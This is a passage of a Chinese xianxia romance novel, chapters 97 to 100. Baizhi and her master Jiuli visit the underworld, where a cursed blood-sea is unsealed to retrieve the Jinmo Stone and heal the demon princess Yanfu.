“你们继续清点造册,估鸦一会将遣回的魂灵送去孟婆那。”鬼婆无视那群小鬼跃跃想同她一起离开的眼神,沙哑的声音吩咐道。 几个小鬼虽很想去见见那个自报是花石的仙使,但鬼婆的命令他们不敢不从,只好闷闷应是。 白芷被引到圣水阁等候。 圣水阁顾名思义,是一座悬浮在血海真水上的小亭阁。 亭阁下,血红真水缓慢而安静地流淌,流经的水道上隐隐可见复杂的符文,纹路深刻。真水撞荡其上,经年累月,纹路带上血红,其色夺目,其质镇重,悄然渗透,艳丽而又致命。 白芷的目光盯着底下弯曲的波浪,直到听到一声熟悉的沙哑声才回头。 第97章 第97章有本能的臣服 “你如今这头长发,倒是顺直晶亮。”鬼婆甫一踏进圣水阁,闻到熟悉的气息,常年皱成线的嘴角竟然往上拉了拉,有种生硬的诡异。 但白芷听到熟悉的声音,脸上瞬间升了一抹笑意,转身看到来人,她的语气不掩欣喜,如同从前一般飞奔向前。 “婆婆。” 鬼婆平日里独来独往,不苟言笑,鬼差们都怕她,但白芷在掖太山那几百年,鬼婆对她算得上是慈祥,所以她从不曾怕过她。 此时亦是,她如同以前一样,见到鬼婆,那双清亮的眼眸自然而然溢出欢喜,让看到的人无一不会心生柔然。 这大概也是其余青皮小鬼也喜欢她的缘故。 鬼婆却不如同从前一般,见白芷跑到眼前,她颔了颔首,竟欠身行了个礼,唤道:“白虎星君。” 白芷忙向前一步,止住她欠身的动作,“婆婆莫要多礼。” 终究是喊了几百年的婆婆,白芷怎么可能还受她的礼。 但鬼婆却摇了摇头,“星君当得老身这一礼。” 白虎星君从前是母神的护卫神兽,如今又是神尊唯一的徒弟,她的身份,除了还存世的几位神衹,当得起任何人的礼。况且,这位星君万年前还孤身为三界挡下一劫难,险些魂飞魄散,这一礼,她更当得。 白芷还是将鬼婆扶了起来,见鬼婆见到她没有惊讶之色,她玩笑道:“所以婆婆从前就知道我是白虎星君了么?” 鬼婆摇了摇头,“后来才知道的。” 一开始是不知道的,确实以为真是掖太山灵力深厚,连镇墓石兽都能修成人形。 初见她时她长发垂背,懵懂如孩童,谁能想到她是九重天的白虎星君。 只因她当时睁着干净清澈的瞳孔巴巴看着她,让她久违地想起了很久很久在人间的一段母子缘分,所以难得发了次善心,每月十五到掖太山便也照看一下她。 当然,时间一久,鬼婆便觉察出些不对劲。 幽冥间凭空多了一个生灵,但十殿转轮王那里却毫无动静,未派人来将她登记造册,连阅领万鬼的神荼和郁垒两位鬼将也不曾过问 没有登记造册,花石无法在幽冥间自由行走。鬼婆一时生怜,觉得她一人呆在这阔大的掖太山很是寂寞,于是某日寻了郁垒,说了她的情况。 没想到郁垒听完,便把她带到北帝面前。 那时她才知道,原来九黎神尊正在掖太山上闭关,而花石的身份,北帝没有多言,但鬼婆一点即通,大概不可能是什么石兽化灵。 既然北帝放任她的存在,鬼婆便如平常一般,每月十五载魂灵还魂时看上她一眼,与她说上几句话。好在她擅于自己作乐,性子又活泛,哄得跟过去的几个青皮小鬼对她喜欢得不得了,总是偷偷送些东西进来给她。 她们以为她不知道,她便也装不知道,孩子心性,她愿意成全这般简单的欢喜。 “后来神尊出关,你被无烬剑气穿心而过,我以为”鬼婆摇了摇头,笑着道:“好在星君福大命大” 短短万年便被两种神器所伤,还能如现在这般站在这里,想想也知道不易。 鬼婆定眼看了看她天元处淡淡的蓝色印记,眸里多了一丝了然。 难怪,神尊会这般不放心。 白芷听完笑了笑,“那可不是,我命大着呢。” 鬼婆见她说话神情与从前一致,脸上也多了几分笑意,只是她脸颊枯槁,所以嘴角扬起时,眼角便多了几道纹。 想到当时的场景,白芷笑道:“那时我也以为我要死掉了。” 那时她没有从前的记忆,无烬剑穿心而过,那股透骨的痛意让她至今想到都不免深吸一口气。 鬼婆点了点头,她一开始也是这样以为的,明明早已见惯生死,但看到花石倒下的那一刻,鬼婆不得不承认,她心里有微微的涩痛感,很遗憾一条这样鲜活美妙的生命就这样逝去 看着白芷自然靠近绕过她手臂的手,鬼婆终究没有推开,而是伸出那只如同古木的手掌,在她莹白的手腕处轻轻拍了拍。 “后来,神尊抱着你离开幽冥,我心里到底存了一点希望”鬼婆继续说道。 闻言,白芷有些惊奇,“师尊抱我离开?” “嗯。”鬼婆点头,当时殿前只余数人,仙帝等一概天兵天将被神尊遣回,神荼和郁垒去收拾因无烬剑闯入的残局,而她或许被北帝遗漏,总之,她还留在殿前。 见白芷好奇地等着她的下文,鬼婆笑了笑,不由得回想起那时的场景。 大抵是她第一次看到神明垂首,以致于当时的场景如今想来依然历历在目。 常年裹在黑暗中的掖太山笼在金光下,灵气流淌于周边,那是她第一次这样近距离地看到那位三界之主——九黎神尊。 虽不敢说与天地同寿,但鬼婆亦不知她已经活了多久,但万物对神有本能的臣服,从神尊从殿内踏出的那一刻,包括她,无人敢抬首直视其颜。 后来无烬剑闯入,陵殿前一时陷入混乱,抵御河水泛滥时,她在忙乱中无意瞻仰到神尊的神容。 与世人料想无异,却又远远超出众人能想象到的任何一切词语。 几近超乎世间一切色相,天地之灵酝于其一身,如九天之上的皓月,他的面容清冷而皎洁。 看着眼前杂乱的一切,他的双眸仍如寒潭无底,嘴角轻轻抿着,既不显冷漠,也不显温情,是与生俱来的疏离。 在见到神容那一刻,鬼婆脑海里闪过一丝想法:神当如 此。 但后来,骚乱平复之后,北帝没将她遣走,她原本也要留下收拾掖太山的残乱,况且,被刺穿心脏的花石还躺在不远处,那位神尊的脚边。 她看不见花石的正脸,却料想她已经没了气息。 只是她没想到会见到后来那一幕。 那位连眼角发梢都闪烁着神圣的金色流光,让世人觉得多看一眼都觉得是亵渎的神尊,竟然驻足在那只失了气息,狼狈不堪的小石兽前,垂首俯身,动作堪称温柔般地将她抱起入怀。 “” 鬼婆不知道是不是金光过于耀眼璀璨的缘故,她从神尊抱起花石的动作上,竟然看到一丝小心翼翼? 当然,这些臆想的话,她没有同白芷说。 鬼婆只道:“确实是神尊亲自将你带离幽冥,后来,机缘巧合听说九重天的白虎星君归位,我才料想,花石便是你。” 知道花石便是白虎星君后,再想到在掖太山发生的这一切,无论是神尊闭关时花石的诞生,还是后来神尊亲自将她带离一切一切便都有迹可循了。 哦……白芷若有所思般点了点头。 原来是师尊啊 跟鬼婆叙了一会旧,原本白芷还想去看看那几位熟识的小鬼,但刚走出圣水阁,恰好碰到奉北帝之命亲自来传召鬼婆的神荼。 白芷一开始以为神荼是来找她的,急忙问道:“他们到了?” 神荼显然未料到会在这里碰到白芷,短暂愣了神,听到白芷的声音后,不显见的压了压眉,有些惊诧自己迟钝的反应。 “回星君,还未到。” 白芷歪了歪头,疑惑道:“那你是来接我的?” 似乎有些跟不上白芷的思路,神荼冷峻如刀削的脸盘上难得出现了一丝无措的神采,不过说话的语气还是义正言辞。 “不是。”说完后,他转头对着鬼婆说道:“北帝有令,请夫人即刻到真水河畔。” 鬼婆持礼垂首听令,待神荼说完后,她点头应是。 虽然不知道北帝召她去真水河畔做什么,但北帝之令,幽冥之人只需尊崇。 白芷站在一旁听完,眼神亮了亮,这是要去取烬魔石了吧。 “我也一起去。”她看了眼鬼婆,又看着神荼说道,“神荼大人,我灵力有限,就烦你带我一程吧。” “” 神荼垂眼看了白芷一眼,身上的幽紫雾气好似浓厚了些。 九重天这位星君他接触得不多,但他知道,她与北帝的坐骑玄武,关系好得如同亲兄妹一般。 是不是神兽都这般,如出一辙地自来熟? 虽脸色难言,但临出发时,神荼还是伸出手,让白芷踏到他的掌心上,待她站稳,一道幽紫之气闪过。 鬼婆见状,也捏了段咒语,召唤来一搜小木船,而后乘着赶往真水河畔- 从神荼展开的手心里踏了出来,看着眼前熟悉的院子,白芷一时有些迷惑。 真水河畔不应该是在掖太山脚下么? 这里,不是刚刚她与师尊落脚休息的院子么? “神荼大人,你带错路了吧。” 神荼太高了,白芷只能退后一步,仰着头看他,“我是说我也去真水河畔等着,这里不是我与师尊休息的地方么?” 神荼神情刚肃,“北帝吩咐,无关人等,不准踏足真水河畔。” 话毕,见眼前女子神情属实不算太好看,神荼多加了一句解释:“此令是北帝来到幽冥间后下的死令。” 所以不是针对她…… 白芷拧着的眉毛这才松了些她不死心地问道:“我师尊也不能去么?” 神荼不作回答,只是持礼对白芷说道:“星君若无事,神荼还有要事,就先退下了。” “”她说的也是要事啊。 白芷无奈地叹了口气,算了,还是不要为难他了。 “你去吧,等会见。” “” 神荼拧了拧眉,什么都没说,转身便消失在院前了。 第98章 第98章将人又拉回身前 白芷鼻翼微微动了动,察找着九黎的气息,在闻到一丝冷冽的青松香时眉头扬了扬。 走到九黎所在的屋门前,白芷伸手轻轻叩了叩门,“师尊,我回来了。” 里头回复得很快,虽然只是一声短短的“嗯。” 白芷推门,抬眼望进去时,正好瞥到九黎坐在桌前,手掌收拢,银色光芒在他指边慢慢黯淡。 白芷愣了愣,她是不是打扰师尊修炼了? 正犹豫要不要退出去,九黎已经抬眸看她,“过来。” “哦”白芷乖巧地走到桌前,见眼前人一直看着她…… 片刻的停顿后,她走到桌案对侧。 待人走到身旁,九黎才站起来,微垂首看了看她的神色,“又痛了?” 白芷下意识要摇头说没有,但 她又瞒不了他遂点了点头,“嗯,有一点。” 幽冥间阴气过盛,她身子虚弱,压不住那些侵袭入身的阴气,在鬼婆那的时候她的识海便有些隐隐作痛了。 九黎皱了皱眉,隔着轻薄柔和的云雾纱袖摆,捏住她的手腕带起。 幽蓝的神力经由经脉源源不断注入到她的识海里,不断膨胀跳动的涩痛被一股清凉的灵力包裹,慢慢平息 白芷并不扭捏,察觉到师尊在渡灵力给她,遂闭上眼,专心接纳这股汇聚天地最精纯充沛的灵气,一丝一毫也不错过,尽可能将它们全在留在识海里。 她凝神闭眼,没看到在替她疗愈识海时,一道炙烫又茫然的目光一直落在她身上。 直到门外响起两声叩门声…… “神尊,北帝有请。” 部分灵气还在筋脉和识海中流淌,白芷如今修为不足,吸收灵力的速度也慢了许多。 虽然门外有人等着,但九黎依然耐心,手搭在她腕上,等她慢慢吸取 这样好的灵力白芷当然也不愿浪费,但她知道,定是后卿到了。 原想把师尊传递过来的灵力尽数吞噬后再回神,但师尊好像没有要停止的模样,他的寸关大开,灵力仿佛取之不尽一般 贪婪吸取的时候,白芷忍不住想,师尊这样的行为其实很是不妥当,虽然三界中修为能与师尊比肩的人寥寥无几,但寸关于神仙犹如蛇之七寸,守灵之门敞开,若是被别人趁虚而入 因心里惦念着颜芙,白芷无法如往常一样,安心慢慢修复自己的元神,待识海不再疼痛时,她硬是将元神从识海抽离,睁开眼。 识海关闭,流淌的灵力在尽头反逼,九黎搭在白芷腕间两只修长的指尖轻轻颤了颤。 “师尊,应是后卿来了。”白芷一睁开眼便看着九黎说道。 九黎眼帘半垂,淡淡嗯了一声。他周身的灵力还未来得及收敛,带着冰凉气息的幽蓝还萦绕在两人的衣摆间。 “那我们快走吧。”白芷转身欲走,却突然感觉腕间一紧。 “嗯?”白芷回头,疑惑道:“师尊,怎么了?” 白芷全身刚被九黎的灵力流淌过,连指尖都还带着微冰,只有被搭着的手腕有淡淡的温热感,被九黎微微用力捏住后,温热感好似有扩散开来的趋势。 可能白芷不知道,其实自她刚刚推门进来后,九黎的目光再没离开过她。 她的眼眸过于清澈,如同她本人一样,一眼能看到底。 此刻,里面沉沉的担忧毫不掩饰。 牵拉住她的手是下意识的,九黎自己都没有反应过来。 但反应过来后,他也没有收回,手掌反而往下,隔着那层轻薄的云雾纱,微微用力,将人又拉回身前。 在九黎面前,白芷大部分时间还是很乖巧的。虽然心里着急,但不至于连听师尊嘱咐的时间都没有。她仰着头,黑白分明的眼珠认真地看着九黎,甚至还往前小挪了一步,准备聆听师尊的指示,“师尊?” 屋内夜明珠泛着幽幽的柔光,如绸缎般铺满了整个房间。 虽不如仙界光亮,但距离足够近,白芷仰着头,连师尊垂眼看她时,他眼睑上的每一根睫毛都能看得清清楚楚。 九黎将人拉近后,另一只手抬起,一只泛着幽冷银光的流光手镯出现在他指间。 他把白芷的手腕往上抬,流光手镯如有灵般穿过她的纱袖,套进她的腕间。 手镯替她套好好,九黎才收回手,又不着痕迹往旁侧移了一步,他平淡地讲述着这只手环的效用。 “我封印了一些灵力在此手镯内,以后若是头痛,便打开它。” 白芷在他讲述时,将手腕抬高至眼前,仔细地看着这只精巧的手镯。 流光 手镯是封存灵力的容器,表圈是九黎亲自刻下的神纹,边缘镶嵌着一圈微小的星辰,手指触碰时,那圈星辰会泛着蓝金色的光,白芷十分喜欢。 所以刚刚她进来时,师尊是在替她锻制神器么? 但这份礼,有些重了。 师尊生来是神,有天地的偏爱和馈赠,灵力天生,但要守住这些先天灵力,要付出的,常人也无法想象。 即便是神,灵力也不是说抽取就抽取的 但不等白芷将婉拒的话说出口,九黎已经提步绕过她,“走吧。” 万千的话也只能吞回,最后白芷只喏喏吐出几个已经不知道重复多少遍的话。 “多谢师尊。” 只是她声音很轻,也不知道几步之远的九黎有没有听到- 门外是刚刚叩门的鬼将,叩完门后,他便尽责守在门外,即便屋子里的人等了好一会才走出来。 九黎在门口顿住脚步,待后边身影跟上时,才抬眸看了那鬼将一眼。 那鬼将仿佛额头上也长了眼睛,明明没抬头,但九黎看过去之时,他仿佛已经接收到讯号,伸手在空中画了几道符文。 而后,那几道符文化作虚空裂缝,待九黎和白芷踏入后,那鬼将手指一收,裂缝和两道身影都已归于无形- 从虚缝中再走出来,入眼便是红得发黑翻滚的波浪。 那些波浪水并不流淌于地面,而是在虚空中飘流,像一条巨大的黑色缎带悬在头顶,不知源头,也不知归处。 漆黑的河面上泛着血红微光,奔腾的河水中偶尔出现扭曲的影子,仿佛被囚禁的灵魂在无声地挣扎。 白芷顾不上细看这条倒挂苍穹的神水,她的目光略过楼阁上一个个身影,精准在视野里捕捉到寻找的人。 找到了- 平日能进到此座楼阁的人并不多,今日基本已经到齐。 北帝蚩祗懒恹恹坐在正中间,站在他身后还有他的两名护法,神荼和郁垒。 河道前,鬼婆闭着眼,嘴里念念有词,原先还算平静的血海真水在她的咒语下渐渐起了波澜。 不久,水底发出嗡嗡如梵音的嘶鸣声,声音低沉,却仿佛带着利刺穿透耳膜,无形的压迫感扑面而来。 神荼和郁垒下意识往前一步,只是掌心正欲翻转时,座上的男子微微抬了抬手。 神荼和郁垒遂把手掌落回。 不知是不是鬼婆的咒语起了效,楼阁内低沉如梵音的声音突然如潮,仿佛有什么东西要破水而出一般。 鬼婆的咒语随之越来越急,眉头越拧越紧,无形的压迫感令周围的人不由自主地屏息凝神。 当然,除了蚩衹。 不知是不是错觉,水底的威压越沉,他左眼的赤金色眼瞳愈发亮。 站在他右后侧还有一道暗红身影,在鬼婆被那威压震得微微往后退了两步,他也握了握拳头。 蚩祗似有所感,脸上若有似无的笑意,漫不经心地说道:“魔主无需着急,幽冥界不养闲人。” 虽腔调是漫不经心,但也不难听出他语气里的不耐。 只是蚩祗身后那位魔主仿佛听不出来一般,低着眸道:“北帝说的是。” 蚩祗瞥了那暗红身影一眼,挑了挑眉,嘴角拉出淡淡的弧度。 这位魔界之主倒有趣,年纪虽轻,倒是能屈能伸。 看他如今这幅谦卑谨慎的模样,还真让人想不出这样的人竟然敢设计桑尤堕魔,开启皿灵阵 虽魔界现已归顺,但蚩祗想到桑尤被禁,心头总是咽着一口浊气,才管不了什么不跟后生计较这类道理。 正想他想再出言嘲讽两句时,耳廓忽然轻微动了动,而后便听到一声更叫人生厌的清甜声音。 蚩祗不耐烦地皱了皱眉,回头看去。 他眼神落在先踏出虚空之缝的娇小身影,而后,马上接收到一道冷冰冰的目光。 蚩衹深深吸了口气。 得了,那么宝贝那个小徒弟,看都不能看是吧,怎么不带回他的九重天藏起来算了。 白芷从虚空之缝踏出来后,目光锁住目标后,脆生生不掩怒气的声音便落下了。 “后卿!” 而从进到幽冥间后不管蚩祗说什么,脸上始终平淡无一丝生气的那位魔主,瞳孔里终于起了一丝波澜。 想到这万年因他而受的这些罪,白芷心头的怒气如火山般爆发。 可当她气冲冲地走到后卿身前,看到一张苍白到近乎透明的脸时,嘴上的质问噎了噎。 后卿的模样,看起来并不比她好到哪里去。 她当然不是可怜他,从他挑出仙魔之战时,白芷就知道,这个人不再是她的朋友。 她只是一时过于讶异。 万年间,后卿怎么变了那么多。 不是外表,而是神采。 第99章 第99章看到救命曙光一般…… 后卿算是这几万年来三界新秀中的佼佼者,虽然是成年后才被魔主带回魔界认祖归宗,但从来没人怀疑过他的血脉。 只因他与前任魔主长得实在太像了,整张脸既俊美得令人窒息,又充满了令人胆寒的威严,叫人仿佛多看一眼便会坠入无尽的深渊。 不知是不是有这层缘故,加上他天资聪颖,前任魔主对他寄予重望,他回魔界的第一千年,前任魔主便册他为魔子。 无人知他回魔界前在哪里过着怎样的生活,只知道他声名鹊起时,已经是下一届魔主继承人。 白芷对后卿的初印象,就是一个眼睛长在头顶上的人。 明明还是少年,身上却总有一种与之年龄不匹配的沉重感和残酷感,做什么事都不留余地。 当然也有例外,便是对颜芙,他的妹妹。 白芷因颜芙留在魔界的那几年,因他们兄妹关系好,所以她与后卿倒是交集不少。 后来她也发现,后卿的倨傲和凌厉,不仅对别人,也对他自己。 而现在的后卿,身上多了一丝白芷从未见过的东西。 颓靡? 或许别人会觉得后卿如今的姿态才是正常的,作为仙魔大战中失败的那一方,他就该抹去锋芒,就要收起锐气,何况如今还要为了妹妹的性命求到别人门下。 但白芷不知道为什么会确信,后卿不至于是一个输不起的人。 但现在,他眼底的晦暗与灰沉,就像是寂灭的死地一般,毫无光彩。 “阿芙呢?”白芷站在后卿身前,目光在他周围绕了绕,没有看到颜芙的身影。 白芷看着后卿时,后卿也在看她。 他变了,她却没变。 他看着她从虚空之境中走出来,连路过的风都偏爱她,脚步跃动间带起的一缕风将她腰间流苏丝带吹拂在空中,束出一点婀娜纤腰。 见到他,她清亮眉眼里的那股怨气和嫌弃一同从前,让后卿恍惚间以为这万年来什么都没变。 只是终究还是不一样了。 后卿眸里仅有的一丝波澜,在白芷平淡的问话中随着周围逐渐平稳的嘶鸣声归于无踪。 “这里阴气甚重,你那朋友留在四十九城呢。”蚩祗站了起来,率自接过话。 谁料他说完,女子看也不看他一眼。 白芷又问后卿:“怎么回事?阿芙怎么会受那么重的伤?” 后卿垂了垂眸,简而言之,“千年前她被后殒追杀……” 仙魔大战 后,他的大哥后殒借着魔界混乱,他又身负重伤时,想借机在魔界进行大换血。但他们还不敢自不量力直接惹上他,知道他看重颜芙这个妹妹,竟然想抓颜芙作为制约他的筹码。 恰巧那个时候他们兄妹因为一些事情关系闹得很僵,他身负重伤自顾不暇,也未料到后殒敢在私下派人去抓捕颜芙。 后殒抓人来与他谈判时,他们兄妹才又相见。那个负气而去的妹妹,再见时已经变得气息奄奄 为了能永远制约他,后殒甚至在颜芙身上种下噬心藤。噬心藤不算什么厉害的禁术,但最是能折磨人,而颜芙魔灵被压制,身上又有重伤,层层原因下,差点失了性命。 除非用烬魔石,先把她身上的噬心藤解了,否则,当下他什么都做不了…… 若不是没有办法,他不会也不敢来找白芷。 鬼婆还在念咒安抚镇压真水下的怨灵,蚩祗却不知什么时候从座位上站起来,走到九黎身旁。 不似九黎那般目不斜视,蚩祗明晃晃将眼神落在那边说话的两人身上。 那位魔主虽然脸上还是无甚表情,但蚩祗明显能感觉到,自白芷出现后,他身上那种死寂一般的幽暗和平静散了一两分。 仿佛看到救命的曙光一般? 可据他所知,白芷可差点死于这位魔主手上。 两人虽不至于是生死对头,但怎么样也不该是现在这样融洽交谈的模样? 仿佛老友一般。 而且,这位魔主,对这只小虎兽 蚩祗往右瞥了九黎一眼,眸里闪过一丝兴味- 蚩祗自然不是闲着没事在这里干等着听他们叙旧,在鬼婆吟诵完那段咒语,被真水反噬回来的威压逼得连连退了几步时,蚩祗往那倒悬翻滚的真水中瞥了一眼,而后迅速抬起左臂,指尖捏出刺目的暗紫色光芒。 他的异色双瞳如火如冰,随着他的动作,勉强平息下的真水忽然翻滚出一个巨大的漩涡,漩涡中传来阵阵低沉的咆哮,带着毁灭的气息扑面而来。 后卿往白芷前面挪了一步,手上布起防护罩的同时回头看了一眼,却发现白芷不知何时已经躲到那道清冷身影之后 其实白芷反应没那么块,漩涡中咆哮声起的时候,身后突然伸来一只手掌,将她拉了过去。 九黎看似没有动作,但真水中闯出来的那些气息和呐吼完全被挡于他凛冽的灵气之外。 站在师尊身边,无论再危险的情境都仿佛不可惧。白芷倒还有空闲聊,看着蚩祗都有些费力的模样,他凑近九黎,压下声音问道:“这是怎么了?” 九黎垂眸看了她一眼,淡淡说道:“解咒。” 血海真水从创世之初,被母神落下眾生咒,蚩衹虽能解咒,但解咒的同时又不能让里面的其他污遭跑出来,所以自然费力些。 神荼和郁垒虽没有动手,但都死死盯着那些翻滚的巨浪,蚩祗左眸的金光化作烈焰,他气息所到之处烈焰熊熊,乌黑的漩涡很快被催散,化作往常一般的血海洪流,火焰卷着溢出的水滴在蚩祗指尖化作点点荧光,如同暗夜流星一般。 而后,一块通体漆黑,表面却浮动着暗金色熔岩纹路的墨玉被那些流星牵引着,落在蚩祗的掌心上。 看到蚩衹掌心之物,后卿不由得低呼出声,“烬魔石。” 他的目光随着墨玉而动,身为魔界之主,这却是他第一次看到曾经被奉为魔族圣物的烬魔石。 从前只从画册上见过,但或许是见过太多次,那块石上的每一条流纹仿佛都刻进他心里。 父君一次又一次同他说过烬魔石的威力,石上那些蜿蜒的血色纹路,是数以万计的魔晶淬成。自这块烬魔石被神界夺走后,魔界从此日渐式微。 但父君的话到底几分真几分假,他已经不愿再想了。 后卿看着那块烬魔石的目光里没有那种失去的重憾,他只知道,这块石头,如今能救她妹妹性命- 烬魔石的魔性经过几千年还未被真水涤尽,虽被蚩祗压制着,但也不能取出太久。 血海真水的封印被打开,真水下压制的恶灵狂兽蠢蠢欲动,虽然有蚩祗留下的一丝神念在这里镇压着,但以防万一,神荼和郁垒还是被留在真水之畔与鬼婆一起看守,其余人则迅速赶返四十九城。 蚩祗带他们落到一处小院后,眼神瞥了瞥后卿。 后卿上前,推开门,带着他们进到屋内。 烬魔石乃先天神物,能蓄取天地灵气,只是前任魔主心生错念,欲将其中天地灵气化为魔气,而转化之法,便是要万千魔修献祭魔灵 手段多残戾就不用再多说了,不然,也不会在真水多年也无法涤尽所剩魔气。 魔气凶猛,若控制不好完全释放出来,那后果不堪设想,因此,用烬魔石救颜芙时,蚩衹要在场看着。 后卿没什么不能答应的,他没有别的杂念,一心只想救妹妹。 况且,他知道,这些神祗们,不屑趁虚而入。 蚩祗和九黎在后卿转入内室前默契停下脚步,只有白芷跟在他后面走了进去。 外边,蚩祗没有要坐下的意思,看着前头一前一后消失的袖影,他倚在屏风前,语气松散:“你这徒儿,桃花可不少啊。” 他说的是谁明显的不能再明显了,除了那位长相俊美到近乎妖异的魔主大人,还能是谁。 可惜他的风凉话得不到回应,九黎只是冷冷瞥他一眼- 床榻上的女子安安静静地躺着,雪肌黑发,眉眼间有些像后卿,不难想象若她睁开眼时会是怎样夺目的艳美。只是当下,她的呼吸很是微弱,像是紧绷着的一根丝线,随时要断的感觉。 颜芙身材本就比较娇小,也不知道经历了什么,现在更瘦弱了几分,看着就让人生怜。 也就万来年未见,怎么从前那位比她还会折腾淘闹的小魔女会变成如今这幅模样 白芷心疼得不像话,趁后卿俯身去将她扶坐起来时,偷偷抬起袖子在眼角擦过。 白芷帮不上忙,看过人之后便从里面退了出来。 烬魔石虽是灵物,但也是一件凶险的灵物。不过蚩衹既答应出手,倒也不在意多帮一点少帮一点。况且,他也没时间等后卿慢慢去融合烬魔石的力量。 待白芷出来后,他在门扇边敲了敲,听到里头的应声后,便走了进去。 这间屋子明显不如白芷他们刚刚休憩的屋子布置精细,不过也无人在意。 屋内磷火做的烛心无声燃烧着,光影随着走动带过的风跃动着,待女子走烦了坐下,那烛光便也跟着安安静静停下跃动,释放出满室光亮。 白芷一手撑着下颌,一手无意识地在桌上轻点,这是她着急时惯有的动作。 对座九黎目光掠过桌上纤细白皙的手指,提起桌上的水壶为她斟了一杯水。 不知等了多久,蚩衹走了出来,但里面结界却还未撤下。 白芷立马从座上站了起来,头往里望了望,殷切地看着蚩衹,“还顺利吗?” 蚩衹看了她一眼,无力逗她,只是应道:“嗯,后卿在帮她调息了。” 白芷松了口气,这才注意到蚩衹的脸色并不那么好看。 不是平日看到她故作嫌弃的那种,而是灵力过耗的那种状态。 毕竟是长久的宿敌,虽然心有谢意,但要开口道谢却有些别扭。 但该谢还是要谢的,白芷咬了咬唇,认真说道:“这次多谢你了。” 蚩衹确实有些疲惫,在真水河畔解咒已经费了他好些灵力,救颜芙灵力消耗更甚…… 但难得看到小虎兽别扭道谢的模样,他还是忍不住哼笑一声。 这忙当然不是白帮的,但他可没算在她身上。 烬魔石要立刻送回原来的位置,蚩衹不欲在这里多耽误,只是在路过九黎身侧的时候,他停下脚步,用他特有的懒散的腔调提醒道,“又欠我一次。” 他瞥了九黎身旁的白芷一眼,故意把 “又”字咬得很重,原本还想说些什么,但握在掌心那块烬魔石忽然震了一下。 掌心一阵刺痛,蚩衹在心里低咒一声。 一件好好的神物被魔界搞成这样邪门的东西。 掌心又落下一道神力,烬魔石的熔岩纹路黯淡了一些,蚩衹刚提腿要走,耳边落下一声简短的清冽声音。 “好。” 蚩衹心头讶异,脚步不禁顿住。原本只是打趣,没想到这锯嘴葫芦真会回他的话。若是平时,他定要留下来再挖苦几句,但掌心的东西再不送回怕连他都压不住了 见蚩祗脚步匆忙往外走,九黎也跟着想往外走。只他刚站起,身旁的女子便也跟着站起来,亦步亦趋,像跟小尾巴一样。 察觉到身后二人动作,蚩祗看不下去,临到门口还是转过头。 “我说,你们师徒也不用这样形影不离吧,不知道的,还以为你们是”虽然心里不爽,但九黎冷冽目光朝他射来之时,他还是闭了嘴。 他算是明白了。 九黎对白芷这个徒弟是偏私到极致了,说一句话都不行。 算了算了,懒得理他们,赶紧搞完送走这对冤家算了。 蚩祗哼了一声,径自先离开了。 “我同蚩祗去一趟。”见白芷脸上的忧容还未尽退,九黎脸上罕见地多了一丝安抚的意味,但语气还是有些生硬,“颜芙你朋友会没事的。” “你再等会,看一下她,晚些我来带你回去。” 九黎知道蚩祗这次费了很多力,他理应帮他善后,见白芷点了点头,他便不再停留,追着蚩祗的气息而去。 第100章 第100章师尊,我要同他结契 九黎离开不久,屋里的结界撤下,后卿从里面走出来。 大约是刚释放过魔力,他的眼瞳呈现深黑色,刀锋般地眉眼显得愈发凌厉。看到白芷时,他嘴角罕见拉出一抹很浅的弧度。 “怎么样?”白芷知道,蚩祗出手,应能保证阿芙没事,但还是忍不住跟他确认。 “没事了。”后卿点点头,“进去看看吧。” 白芷从前不喜欢来幽冥间,除了与蚩祗不对付,其实还有一层原因,那便是她觉得幽冥间所司之事太过于沉重沉闷。 她不知道别的神仙是不是都能看透生死,她活了这么多年,见过很多人离去,却始终无法习惯。 或许她从来都不是一名合格的神仙吧。 看着床榻上瘦得有些凹陷进去的脸廓,苍白到近乎苍白的唇色,紧闭的双眼,白芷怎么都想不出,这会是从前娇俏可人的魔界小公主。 她那么爱俏,若是看到自己如今这幅样子,大约会很难过吧。 “烬魔石抽取了她身上腐坏的那些魔髓,重新注以魔灵新生,她不能在这里久留。”蚩衹在她身后说道。 如同白芷一般,体弱之人是无法在幽冥间久留得,他们身上的灵力太弱,幽冥间的阴气太重,会渗透侵袭她们。 回魔界休养,对颜芙来说,是目前最好的选择。 白芷知道后卿言下之意。 “嗯,好好照顾她。” “不管为了什么,不要委屈她。” 虽不知道颜芙因什么事与后卿生了嫌隙要离开魔界,但她就是知道,大抵不是颜芙的错。 颜芙对后卿这个哥哥有多么敬爱,白芷是看在眼里的。 颜芙看似大大咧咧,其实心细得很。很多时候连她都能看出,颜芙在意这个哥哥在意到愿意将他的意愿放在她自己的意愿前面。 除非,后卿真的做了太过分的事情。 但这是他们兄妹的事情,她不知道来龙去脉,不好评判。她只是提醒后卿,他的这个妹妹,真的很在意他。 显然,后卿也想到了什么,他很轻地闭了下眼。 “我知道。” 他不会再逼她做什么了。 什么魔界大计,把他们兄妹搞得人不人鬼不鬼,见鬼去吧。 白芷认真看着蚩祗说道,“如果还有什么要帮忙的,你知道怎么找我的。 从前她因颜芙留在魔界游玩那阵,总有这这那那的事情需要后卿帮她们收尾,所以他们的留音玉上都留了对方的气息。 白芷其实有些讶异,后卿宁愿自己孤注一掷找上她师尊,也没有直接来寻她帮忙。 他应该知道,事关颜芙,即便知道事情很棘手难办,她也不会拒绝的。 听到这话,后卿眼神忽然就有些飘忽起来,不敢再看白芷的眼睛。 他当然不像白芷想得那么坦荡,他多自私啊。 曾经坐在一起半天不说话都不会尴尬的人,如此站在一起,却不知道该如何开口。 太多的愧疚和歉意压在心里,沉重得叫人窒息。 “对不起。” 不仅害你差点魂消魄散 “嗯。”白芷不是没有怪过他,但再提起也无济于事,只要以后魔界能消停还三界安宁便罢了。 从幽冥间出来后,白芷一直安安静静跟在九黎身边。平时叽叽喳喳的人突然安静下来,很难叫人不注意到她的异样,甚至腾云时还因不专心踉跄一下。 九黎眉尾微不可察地皱了一下,难得先开口,“在想什么?” 其实也没有具体在想什么,白芷只是任由思绪飘荡。 她有些担忧阿芙,毕竟也没能等她醒了说上两句话,便在心里盘算着何时修为恢复一些,再去魔界看看她。 又想着刚刚没来得及问清楚阿芙是因何缘故魔灵被压制? 无奈她现在也无法随意出入魔界,想来想去,脑子真是乱得很。 九黎清冽如冻泉的声音将她从那堆杂乱的思绪里头拉了出来 “啊?”白芷的目光重新聚焦到九黎脸上,她摇了摇头,眉眼复带上几分笑意,“没想什么呢师尊。” “嗯。”看着她因飞行落在脸颊边的几根碎发,九黎伸手在她身后落下一个防风罩。 